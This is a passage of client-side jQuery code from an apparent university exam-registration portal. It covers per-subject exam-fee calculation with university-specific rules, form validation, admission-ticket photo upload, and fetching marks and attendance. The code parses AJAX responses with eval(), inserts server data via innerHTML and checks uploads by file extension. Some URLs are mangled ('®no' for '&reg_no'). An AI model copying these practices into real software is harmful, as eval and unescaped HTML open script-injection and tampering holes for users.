f_val=0; //var fee_name = $("#tfh_"+$char_code+"_02").html(); var fee_name=$("#tfh_"+$char_code+"_"+input_id_l).html(); //var fee_sp=$("#tfh_"+$char_code+"_10").html(); var cntpr = 0; if(input_id_l!='total') { //alert($char_code); jQuery.each(subject_wise_thr_pr_arr, function(fkk, fvv) { pr_cnt=parseFloat(fvv['pr_cnt']); th_cnt=parseFloat(fvv['th_cnt']); //alert($("#"+prfee_input_id).val()); var pra_exam_val=0; var th_exam_val=0; if($g_FUNIVCODE=="012") { if(pr_cnt>0 && th_cnt == 0) { pra_exam_val=parseFloat($("#"+prfee_input_id).val())*pr_cnt; th_exam_val =parseFloat($("#"+o_val_input_id).val()); }else { if(pr_cnt>0) pra_exam_val=parseFloat($("#"+prfee_input_id).val())*pr_cnt; if(th_cnt>0) th_exam_val =parseFloat($("#"+o_val_input_id).val())*th_cnt; } }else { if(pr_cnt>0) { var amount = $("#"+prfee_input_id).val(); if(fee_name == '01 EXAM FEE' && amount > 5) { pr = $("#"+prfee_input_id).val(); } pra_exam_val = parseFloat($("#"+prfee_input_id).val())*pr_cnt; } if(th_cnt>0) { th_exam_val =parseFloat($("#"+o_val_input_id).val())*th_cnt; var th_fee = $("#"+o_val_input_id).val(); } } f_val = eval(f_val+th_exam_val+pra_exam_val); }); fresh_exam = $("#fresh_exam_"+$char_code).val(); //alert(feetype); if($g_FUNIVCODE=="026" && fee_name=="01 EXAM FEE" && fresh_exam!=$char_code && sub_cnt>1)// handling specificallly for univ code { if(sub_cnt==2 && f_val<minnfee_val) { if(stuDegree.toUpperCase() =='BED' || stuDegree.toUpperCase() =='BED1') { f_val = 300; } else { f_val = 250; } } else if(sub_cnt>2) { f_val=minnfee_val; } } else if($g_FUNIVCODE == "008" && fresh_exam!=$char_code && feetype != 'Low Income') { if(sub_cnt>3 && $char_code != 'E') { //alert(feetype); f_val = minnfee_val; } }else if($g_FUNIVCODE == "008" && fresh_exam!=$char_code) { if(sub_cnt>3 && $char_code != 'E') { f_val = minnfee_val; } } else if($g_FUNIVCODE == "035" && fresh_exam != $char_code && fee_name != '03 MARKS CARD') { if(sub_cnt>3) { f_val = minnfee_val; } } //thcnt = 0; if($g_FUNIVCODE=="036" && fee_name=="01 EXAM FEE" && sub_cnt > 0)// handling specificallly for univ code { if(fresh_exam!=$char_code) { if(stuDegree.toUpperCase() =='BSC1') { f_val = 385+(146*thcnt)+(prcnt*61); } if(stuDegree.toUpperCase() =='BCA1') { f_val = 385+(553*thcnt)+(prcnt*61); } //f_val = (309*thcnt)+(prcnt*pr); }else if(fresh_exam == $char_code) { minnfee_val = minnfee_val + (prcnt*pr); f_val = minnfee_val; } } if(parseFloat(f_val)>=minnfee_val) { f_val=parseFloat(minnfee_val); $("#"+input_id).val(f_val); } else $("#"+input_id).val(f_val); if($g_FUNIVCODE=="018" && fresh_exam == $char_code) { f_val=0; $("#"+input_id).val(f_val); } /* else $("#"+input_id).val(f_val); */ } }); } } CalculateNewwFeeTotals(); } function CalculateNewwFeeTotals() { var grand_total=0; var sp_fee_tot=0; var table_obj=$("table[id*='fee_table_']") ; jQuery.each(table_obj, function(k, v) { var char_id=v['id'].split("_")[2]; var fee_obj=$("input[id^='nfee_"+char_id+"_']"); var i_total=0; //var fresh_exam = $("#fresh_exam_"+$char_id).val(); jQuery.each(fee_obj, function(fk, fv) { var input_id=fv['id']; var min_val_input_id=input_id.replace("nfee_","minnfee_"); var minnfee_val=parseFloat($("#"+min_val_input_id).val()); var input_id_l=fv['id'].split("_")[2]; f_val = 0; if(input_id_l!='total') { var f_val=$("#"+input_id).val(); if(input_id == 'nfee_'+char_id+'_10') { sp_fee_tot=sp_fee_tot+parseFloat(f_val); } if(input_id == 'nfee_'+char_id+'_10' && sp_fee_tot>555) { f_val=0; $('#nfee_'+char_id+'_10').val(parseFloat(555)+parseFloat(130)); } minnfee_val = f_val; if(parseFloat(f_val)>=minnfee_val) { f_val=parseFloat(minnfee_val); $("#"+input_id).val(f_val); } i_total=eval(i_total+parseFloat(f_val)); } //z++; }); //alert(grand_total); grand_total=eval(grand_total+parseFloat(i_total)); $("#nfee_"+char_id+"_total").val(i_total); $("#ssub_fee_"+char_id).html(i_total); }); $("#Candidate_total_fee").html(grand_total); } function disableCandidateHeaderFields() { // document.getElementById('candidate_list_degree_code').disabled=true; //document.getElementById('candidate_list_reg_no').disabled=true; } function checkAllCandidateSemisterSub($full_div_id) { $div_id_split=$full_div_id.split("^"); $div_id=$div_id_split[0]; $div_name=$div_id_split[1]; if(document.getElementById($full_div_id).checked==true) { for($k=0;$k<$g_total_count_of_each_div[$div_id];$k++) { document.getElementById("exam_"+$div_name+"_ce_pass_"+$k).checked=true; } } else if(document.getElementById($full_div_id).checked==false) { for($k=0;$k<$g_total_count_of_each_div[$div_id];$k++) { document.getElementById("exam_"+$div_name+"_ce_pass_"+$k).checked=false; } } UpdateExamFeeForEachSelectedSubject(); } function CheckCheckBoxIsChecked($div_id) { $div_id_split=$div_id.split("_"); $char_code=$div_id_split[3]; $div_id_total=$div_id+"_total"; $exam_fee=parseFloat($("#"+$div_id_total).val()); $checked_flag=0; if($g_total_count_of_each_div[$div_id]>0) { $total_rows=$g_total_count_of_each_div[$div_id]; for($k=0;$k<$total_rows;$k++) { $input_id="exam_"+$char_code+"_ce_pass_"+$k; if(document.getElementById($input_id).checked==true) $checked_flag=1; } if($checked_flag == 0 && $exam_fee > 0) { alert("Select atleast one subject as you have entered Exam Fee"); showExamNosDiv($div_id); $("#"+$div_id_total).focus(); document.getElementById($div_id_total).focus(); return; } else if($checked_flag == 1 && $exam_fee == 0.00) { alert("Enter the Exam Fee since you have already selected subjects"); showExamNosDiv($div_id); $("#"+$div_id_total).focus(); return; } } } function getSubjectNamesForSelectedSub(int_code,val,degree_code,exam) { var sub_code_id="exam_"+exam+"_ce_sub_code_"+int_code; var sub_short_id="exam_"+exam+"_ce_short_name_"+int_code; var desc_id="exam_"+exam+"_ce_desc_"+int_code; var ch_box_id="exam_"+exam+"_ce_pass_"+int_code; var th_cnt_id="exam_"+exam+"_th_cnt_"+int_code; var pr_cnt_id="exam_"+exam+"_pr_cnt_"+int_code; var finserted_id="exam_"+exam+"_fi_"+int_code; var exsiting_sub_code_arr=new Array(); var e_obj=$("[id*='exam_"+exam+"_ce_sub_code']") jQuery.each(e_obj, function(k, v) { var e_int_code=$(this).attr("id").split("_").pop(); if(e_int_code!=int_code) { exsiting_sub_code_arr.push($(this).val()); } }); if(in_array(val,exsiting_sub_code_arr)) { alert("This Subject is already selected"); $("#"+sub_code_id).val("None"); $("#"+sub_short_id).html(""); $("#"+desc_id).html("");$("#"+ch_box_id).attr("checked", false); $("#"+th_cnt_id).val(0); $("#"+pr_cnt_id).val(0); $("#"+finserted_id).val("F"); return false; } if(val=="None") { $("#"+ch_box_id).attr("checked", false); $("#"+sub_short_id).html(""); $("#"+desc_id).html(""); $("#"+th_cnt_id).val(0); $("#"+pr_cnt_id).val(0);$("#"+finserted_id).val("F"); UpdateExamFeeForEachSelectedSubject(); CalculateNewwFeeTotals(); return; } $.ajax({ type: "POST", data: "degree_code="+degree_code+"&exam="+exam+"&subject_code="+val, url: $host_url+"getSubjectNamesForSelectedSub", success: function getSubjectNamesForSelectedSubResponse(responce) { responce = eval('(' + responce + ')'); if(responce.error_code==0) { $("#"+sub_short_id).html(responce.data['FSUBSHORT']); $("#"+desc_id).html(responce.data['FSUBNAME']); $("#"+th_cnt_id).val(responce.data['th_cnt']); $("#"+pr_cnt_id).val(responce.data['pr_cnt']); $("#"+finserted_id).val("T"); $("#"+ch_box_id).attr("checked", "checked"); UpdateExamFeeForEachSelectedSubject(); CalculateNewwFeeTotals(); } else { alert("Problem Exists while selecting subject") } } }); } function PrintApplicationForm(type,app_no) { if(type=='NEFT') PrintApplicationFormNEFT(app_no); else if(type=='POSTOFFICE') PrintApplicationFormPOSTOFFICE(app_no); else PrintApplicationFormSBM(app_no); } function PrintApplicationFormSBM(app_no) { window.location.href=$host_url+"PrintApplicationFormSBM&app_no="+app_no; }function PrintApplicationFormNEFT(app_no) { window.location.href=$host_url+"PrintApplicationFormNEFT&app_no="+app_no; } function PrintApplicationFormPOSTOFFICE(app_no) { window.location.href=$host_url+"PrintApplicationFormPOSTOFFICE&app_no="+app_no; } function PrintApplicationFormNETBANKING(app_no) { window.location.href=$host_url+"PrintApplicationFormNETBANKING&app_no="+app_no; } /* Function Call to Student Admission Ticket download */ function GenerateAdmissionTicket() { url_object=GetUrlParameters(); var reg_no=trim(url_object['r']); window.location.href = $host_url+"generateAdmissionTicket.demo®no="+reg_no; } function validateNumber(ev) { var keyCode = window.event ? ev.keyCode : ev.which; //codes for 0-9 if (keyCode < 48 || keyCode > 57) { //codes for backspace, delete, enter if (keyCode != 0 && keyCode != 8 && keyCode != 13 && !ev.ctrlKey) { ev.preventDefault(); } } } /* End */ //photo upload for Admission Ticket download 22/09/2015 var filepath; function DisplayUserSelectedPhoto() { var valid_file_extentions = new Array("jpg"); var ext=$("#student_entry_uploadapp").val(); filepath=ext; ext = ext.substring(ext.length-3,ext.length); ext = ext.toLowerCase(); if(ext != "" && !in_array(ext,valid_file_extentions)) { alert("Please Select the Valid Photo!"); $("#student_entry_uploadapp").val('') return false; } $.blockUI({ message: "<h1 class='h1' style='font-size:12px'><img src='img/ajax-loader.gif' border='0'></h1>" }); var lstr_data="&filepath="+filepath; $upload = $host_url+"DiaplayUserSelectedPhotoApp&"+lstr_data; document.getElementById("form_module_image_upload").setAttribute("action",$upload); return AIM.submit(document.getElementById("form_module_image_upload"), 'same_tab',{'onComplete' : DiaplayUserSelectedPhotoResponse}); } function DiaplayUserSelectedPhotoResponse($responce) { $responce = eval('(' + $responce + ')'); $.unblockUI(); if($responce.error_code==0) { $("#student_entry_photo").attr("src", $responce.data); } else if($responce.error_code==-1) $("#student_entry_photo").attr("src", "img/default_photo.jpg"); else if($responce.error_code==-2) { alert($responce.data); $("#student_entry_photo").attr("src", "img/default_photo.jpg"); $("#student_entry_upload").val(""); } } function DisplayUserSelectedPhotoAtDwn() { var valid_file_extentions = new Array("jpg"); var ext=$("#student_entry_upload").val(); filepath=ext; ext = ext.substring(ext.length-3,ext.length); ext = ext.toLowerCase(); if(ext != "" && !in_array(ext,valid_file_extentions)) { alert("Please Select the Valid Photo!"); $("#student_entry_upload").val('') return false; } var lstr_data="&filepath="+filepath; $upload = $host_url+"DiaplayUserSelectedPhoto&"+lstr_data; $.blockUI({ message: "<h1 class='h1' style='font-size:12px'><img src='img/ajax-loader.gif' border='0'></h1>" }); document.getElementById("form_module_image_upload").setAttribute("action",$upload); return AIM.submit(document.getElementById("form_module_image_upload"), 'same_tab',{'onComplete' : DiaplayUserSelectedPhotoAtDwResponse}); } function DiaplayUserSelectedPhotoAtDwResponse($responce) { $responce = eval('(' + $responce + ')'); $.unblockUI(); if($responce.error_code==0) { $("#student_entry_atphoto").attr("src", $responce.data); } else if($responce.error_code==-1) $("#student_entry_atphoto").attr("src", "img/default_photo.jpg"); else if($responce.error_code==-2) { alert($responce.data); $("#student_entry_atphoto").attr("src", "img/default_photo.jpg"); $("#student_entry_upload").val(""); } } function uploadAdmissionTicketPhoto() { if($("#student_entry_atphoto").attr("src") =='img/default_photo.jpg') { alert('Upload Photo'); return; } url_object=GetUrlParameters(); $reg_no=trim(url_object['r']); $reg_no=$reg_no.toUpperCase(); var data="®_no="+$reg_no+"&student_entry_photo_path="+encodeURIComponent($("#student_entry_atphoto").attr("src")); $.ajax({ type: "POST", url: $host_url+"uploadAdmissionTicketPhoto", async:false, data:data, success: uploadAdmissionTicketPhotoResponse }); } function uploadAdmissionTicketPhotoResponse($responce) { $responce = eval('(' + $responce + ')'); alert($responce.data); $("#uploadPhotoToAdmcard").hide(); $("#downloadAdm").show(); } function onsavevalidate(lobj,lval) { forder = {}; msfields = {}; findex = {}; if(mandfields.length == mandfields.lastIndexOf(",")+1) var mdfields = mandfields.substring(0, mandfields.length - 1); else var mdfields = mandfields; var msfields = mdfields.split(','); var validateStr =''; var findex = new Array(); for(var i=0,j=0;i<msfields.length;i++) { if(trim(document.getElementById(msfields[i]).value) == '') { findex[j]=msfields[i]; fieldtitle = document.getElementById(msfields[i]).title; fieldtitlearr = fieldtitle.split(','); validateStr += fieldtitlearr[0]+'\r\n'; j++; } } if(validateStr != '') { alert("Following fields are missing / invalid and please enter in Personal Details\r\n\r\n"+validateStr); document.getElementById(findex[0]).focus(); return findex[0]; } else { return 999; } } function acceptNumbersOnlyForModule(evt) { var event = ''; var charCode = (evt.which) ? evt.which : event.keyCode if (charCode > 31 && (charCode < 48 || charCode > 57)) return false; return true; } function checkselected(id) { var checkboxes = document.getElementsByName('a'); for (var i = 0; i < checkboxes.length; i++) { if (checkboxes[i].type == 'checkbox' && id != checkboxes[i].id) { checkboxes[i].checked = false; } } showfiled(); } function checkselectedid(id) { var checkboxes = document.getElementsByName('b'); for (var i = 0; i < checkboxes.length; i++) { if (checkboxes[i].type == 'checkbox' && id != checkboxes[i].id) { checkboxes[i].checked = false; } } showfiled(); } function checkselectedbox(id) { var checkboxes = document.getElementsByName('c'); for (var i = 0; i < checkboxes.length; i++) { if (checkboxes[i].type == 'checkbox' && id != checkboxes[i].id) { checkboxes[i].checked = false; } } showfiled(); } function showfiled() { if(document.getElementById("T21").checked==true) { $("#test").show(); document.getElementById('T22').focus(); } else $("#test").hide(); if(document.getElementById("T23").checked==true) { $("#test2").show(); document.getElementById('T24').focus(); } else $("#test2").hide(); if(document.getElementById("T25").checked==true) { $("#test3").show(); document.getElementById('T26').focus(); } else $("#test3").hide(); } /* Function Call to Student Admission Ticket download */ function GenerateAdmissionTicket() { url_object=GetUrlParameters(); var reg_no=trim(url_object['r']); window.location.href = $host_url+"generateAdmissionTicket.demo®no="+reg_no; } function DisplayIAmarkdetails() { var funivcode= getCookie("univcode"); url_object=GetUrlParameters(); var r=url_object['r']; $.ajax({ type: "POST", async:false, data:"r="+r, url: $host_url+"DisplayIAmarkdetails", success: function(responce) { responce = eval('(' + responce + ')'); document.getElementById("iamarks").innerHTML = responce.data; } }); } function Displayattendance() { var funivcode= getCookie("univcode"); url_object=GetUrlParameters(); var r=url_object['r']; $.ajax({ type: "POST", async:false, data:"r="+r, url: $host_url+"Displayattendance", success: function(responce) { responce = eval('(' + responce + ')'); document.getElementById("attendance").innerHTML = responce.data; } }); } /* End */
Close